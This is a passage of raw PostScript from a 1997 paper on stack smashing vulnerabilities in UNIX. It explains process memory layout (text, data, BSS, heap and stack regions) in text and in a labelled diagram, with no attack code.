1.0000 SET_CMYK GS n 2721 7609 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2975 7609 M (beginning ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3690 7609 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3880 7609 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4496 7609 M (execution, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5235 7609 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5489 7609 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5817 7609 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6108 7609 M (text ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6408 7609 M (areas ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6802 7609 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7057 7609 M (loaded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7333 M (directly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1777 7333 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2095 7333 M (active ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2552 7333 M (memory. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3252 7333 M (Data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3626 7333 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3797 7333 M (split ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4143 7333 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4461 7333 M (initialized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5185 7333 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5522 7333 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5822 7333 M (uninitialized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6712 7333 M (\(BSS\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7181 7333 M (data. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7057 M (BSS ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1552 7057 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1883 7057 M (takes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2279 7057 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2407 7057 M (higher ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2886 7057 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3496 7057 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4050 7057 M (than ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4390 7057 M (initialized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5108 7057 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5439 7057 M (while ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5862 7057 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6119 7057 M (text ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6422 7057 M (region ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6901 7057 M (takes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 7057 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6781 M (lowest ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1708 6781 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2328 6781 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2892 6781 M (\(closest ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3465 6781 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 3658 6781 M (0x00000000) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4658 6781 M (\). ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4862 6781 M (BSS ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5223 6781 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5564 6781 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5739 6781 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6015 6781 M (stored ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6486 6781 M (statically ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7150 6781 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 6781 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6505 M (executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2011 6505 M (file, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2369 6505 M (simply ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2916 6505 M (because ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3537 6505 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3871 6505 M (region ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4390 6505 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4715 6505 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4966 6505 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5660 6505 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6114 6505 M (zero-filled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6902 6505 M (memory. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6229 M (Information ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2049 6229 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2405 6229 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2595 6229 M (static ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2997 6229 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3649 6229 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3904 6229 M (stored ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4362 6229 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4542 6229 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4796 6229 M (BSS ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5144 6229 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5472 6229 M (region. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6032 6229 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6342 6229 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6670 6229 M (r) ST -3 0 MR (e) ST -3 0 MR (g) ST -4 0 MR (i) ST -4 0 MR (o) ST -4 0 MR (n) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7241 6229 M (size ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5953 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1492 5953 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1703 5953 M (changed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2311 5953 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2660 5953 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2917 5953 M (POSIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3453 5953 M (2.9 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3715 5953 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4333 5953 M (\() ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 4389 5953 M (unistd.h) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5053 5953 M (\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5163 5953 M (symbolic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5827 5953 M (constant ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6435 5953 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 7043 5953 M (brk\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 7458 5953 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5677 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1411 5677 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1676 5677 M (event ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2098 5677 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2409 5677 M (bss-data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3017 5677 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3218 5677 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3483 5677 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3823 5677 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4227 5677 M (exhausts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4862 5677 M (available ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5524 5677 M (memory, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6184 5677 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6449 5677 M (current ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6983 5677 M (running ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5401 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1752 5401 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1909 5401 M (blocked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2481 5401 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2767 5401 M (rescheduled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3608 5401 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3783 5401 M (run ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4051 5401 M (again ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4457 5401 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4798 5401 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4918 5401 M (larger ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5353 5401 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5955 5401 M (module. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6584 5401 M (New ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6944 5401 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5125 M (is added between the stack and data segments in the uninitialized region.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4849 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2013 4849 M (text ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2311 4849 M (region ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2785 4849 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2945 4849 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3068 4849 M (read-only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3755 4849 M (region ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4229 4849 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4527 4849 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4687 4849 M (shared ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5171 4849 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5386 4849 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5601 4849 M (processes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6289 4849 M (executing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6984 4849 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7236 4849 M (file. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4573 M (Attempts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1864 4573 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2043 4573 M (write ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2435 4573 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2614 4573 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2904 4573 M (region ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3379 4573 M (result ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3799 4573 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3978 4573 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4102 4573 M (segmentation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5039 4573 M (violation. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5763 4573 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6109 4573 M (differs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6595 4573 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6970 4573 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7223 4573 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4297 M (and stack areas which are written by and are private to each process.) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 12 12 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR GS GS 1495 10000 7204 2677 DOCLIPBOX n 1495 10000 M 7203 10000 L 7203 2678 L 1495 2678 L 1495 10000 L 7203 10000 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR GR GS 1495 10000 7203 2678 DOCLIPBOX n 1498 9997 M 7190 9997 L 7190 2693 L 1498 2693 L 1498 9997 L 7190 9997 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5197 4876 M 6906 4876 L 6906 3925 L 5197 3925 L 5197 4876 L 6906 4876 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5150 4923 M 6857 4923 L 6857 3974 L 5150 3974 L 5150 4923 L 6857 4923 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2874 9759 M 4582 9759 L 4582 3925 L 2874 3925 L 2874 9759 L 4582 9759 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 9807 M 4534 9807 L 4534 3974 L 2826 3974 L 2826 9807 L 4534 9807 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 9475 M 4535 9475 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS 1495 10000 7202 2679 DOCLIPBOX n 3144 9586 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (per-process kernel stack) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 9143 M 4535 9143 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3489 9254 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (red zone) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 8812 M 4535 8812 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 8479 M 4535 8479 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 8147 M 4535 8147 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3480 8923 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (user area) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3317 8591 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (ps_strings struct) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3423 8259 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (signal code) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 7816 M 4535 7816 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 7483 M 4535 7483 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3434 7926 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (env strings) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3415 7594 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (argv strings) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3402 7263 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (env pointers) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3384 6931 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (argv pointers) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3579 6599 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (argc) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3458 6267 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (user stack) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 7150 M 4535 7150 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 6819 M 4535 6819 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 6487 M 4535 6487 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 4922 M 4535 4922 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3573 5081 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (heap) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 3679 6203 M 3679 5961 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 3654 5978 M 3679 5969 L 3705 5978 L 3679 5918 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 3679 5447 M 3679 5206 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 3705 5433 M 3679 5442 L 3654 5433 L 3679 5492 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 4638 M 4535 4638 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3607 4749 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (bss) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 4305 M 4535 4305 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3349 4417 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (initialized data) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 3974 M 4535 3974 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3593 4086 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (text) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 2023 4086 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (0x00000000) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 1954 3887 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (\(low addresses\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 1728 9586 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (0xFFF00000) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 1653 9387 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (\(high addresses\)) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 5150 4638 M 6858 4638 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 5713 4749 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (symbol table) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 5150 4305 M 6858 4305 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 5672 4417 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (initialized data) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 5150 3974 M 6858 3974 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 5917 4086 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (text) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 5197 3927 M 6906 3927 L 6906 3214 L 5197 3214 L 5197 3927 L 6906 3927 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5150 3975 M 6857 3975 L 6857 3262 L 5150 3262 L 5150 3975 L 6857 3975 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 5319 3611 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (linker header & magic number) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 4531 4642 M 4531 4635 L 4563 4635 L 4563 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4594 4642 M 4594 4635 L 4626 4635 L 4626 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4658 4642 M 4658 4635 L 4689 4635 L 4689 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4721 4642 M 4721 4635 L 4753 4635 L 4753 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4784 4642 M 4784 4635 L 4816 4635 L 4816 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4847 4642 M 4847 4635 L 4879 4635 L 4879 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4910 4642 M 4910 4635 L 4942 4635 L 4942 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4974 4642 M 4974 4635 L 5005 4635 L 5005 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5037 4642 M 5037 4635 L 5068 4635 L 5068 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5100 4642 M 5100 4635 L 5132 4635 L 5132 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4531 4310 M 4531 4303 L 4563 4303 L 4563 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4594 4310 M 4594 4303 L 4626 4303 L 4626 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4658 